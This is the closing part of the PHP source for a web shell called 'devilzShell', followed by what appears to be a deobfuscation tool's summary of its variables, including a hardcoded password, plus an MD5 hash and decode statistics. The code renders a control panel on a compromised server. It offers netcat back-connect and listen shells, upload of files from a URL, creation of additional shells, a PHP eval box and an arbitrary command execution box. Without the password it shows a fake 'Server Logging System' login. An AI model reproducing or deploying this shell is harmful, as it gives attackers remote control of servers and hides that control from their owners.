<a href=\"javascript:show('div_eval');\"><span class=\"gaul\">[ </span>PHP Eval<span class=\"gaul\"> ]</span></a>
</div>
<div class=\"hidden\" id=\"newconnect\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<table class=\"tblBox\" style=\"width:100%;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<tr><td style=\"width:130px;\">BackConnect</td><td style=\"width:200px;\">
Port&nbsp;<input maxlength=\"5\" id=\"backC\" onkeyup=\"updateInfo('backC',0);\" style=\"width:60px;\" type=\"text\" name=\"bportC\" value=\"".$bportC."\" />
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnConnect\" value=\"Connect\" />
</td>
<td><span id=\"backC_\" class=\"msgcon\">example: (using netcat) run &quot;nc -l -p ".$bportC."&quot; and then press Connect</span></td>
</tr>
<tr><td>Listen</td><td>
Port&nbsp;<input maxlength=\"5\" id=\"listenC\" onkeyup=\"updateInfo('listenC',1);\" style=\"width:60px;\" type=\"text\" name=\"lportC\" value=\"".$lportC."\" />
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnListen\" value=\"Listen\" />
</td>
<td><span id=\"listenC_\" class=\"msgcon\">example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." ".$lportC."&quot;</span></td>
</tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newfolder\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Foldername</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"foldername\" value=\"newfolder\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfolder\" value=\"Create\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newfile\">
<form action=\"?\" method=\"get\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Filename</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"newfile\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfile\" value=\"Create\" />
</td></tr>
</form>
</table>
</div>
<div class=\"hidden\" id=\"newupload\">
<form method=\"post\" action=\"?dir=".$xCwd."\" enctype=\"multipart/form-data\" style=\"display:inline;margin:0;padding:0;\">
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">Save as</td><td><input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"\" /></td></tr>
<tr><td style=\"width:120px;\">From Url</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"fileurl\" value=\"\" />
</td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadUrl\" value=\"Get\" /></td></tr>
<tr><td style=\"width:120px;\">From Computer</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"file\" name=\"filelocal\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadLocal\" value=\"Get\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newchild\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Shellname</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"childname\" value=\"".$shell_name.".php\"; />
</td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewchild\" value=\"Create\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"div_eval\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td>
<textarea name=\"eval\" style=\"width:100%;height:100px;\"></textarea>
</td></tr><tr>
<td style=\"text-align:right;\"><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnEval\" value=\"Eval\" /></td></tr>
</table>
</form>
</div>
<div class=\"bottomwrapper\">
<div class=\"cmdbox\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table style=\"width:100%;\"><tr>
<td style=\"width:88%;\"><input type=\"text\" id=\"cmd\" name=\"cmd\" value=\"\" style=\"width:100%;\" /></td>
<td style=\"width:10%;\"><input type=\"submit\" class=\"btn\" name=\"btnCommand\" style=\"width:120px;\" value=\"Execute\" /></td></tr></table>
</form>
</div>
<div class=\"result\" id=\"result\">
".$result."
</div></div></div></div>
";
}
else {
	$html_title = $shell_fake_name;
	$html_head = "<title>".$html_title."</title>".$shell_style;
	$html_body = "<div style=\"margin:30px;\">
<div>
<form action=\"?\" method=\"post\">
<input id=\"cmd\" type=\"text\" name=\"passw\" value=\"\" />
<input type=\"submit\" name=\"btnpasswd\" value=\"Ok\" />
</form>
</div>
<div style=\"font-size:10px;\">".$shell_fake_name."</div>
</div>
";
}
if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\"";
else $html_onload = "";
$html_final = "<html>
<head>
".$html_head."
</head>
<body ".$html_onload.">
<div id=\"mainwrapper\">
".$html_body."
</div>
</body>
</html>";
echo preg_replace("/\s+/"," ",$html_final);
?>

Function Calls

getenv 1

Variables

$shell_name devilzShell
$shell_color #374374
$shell_title :: devilzShell ::
$shell_version v1
$shell_fav_port 12345
$shell_password devilzc0der
$shell_fake_name Server Logging System

Stats

MD5 02e8597a4ddade7b69f6fa546ebfe170
Eval Count 0
Decode Time 195 ms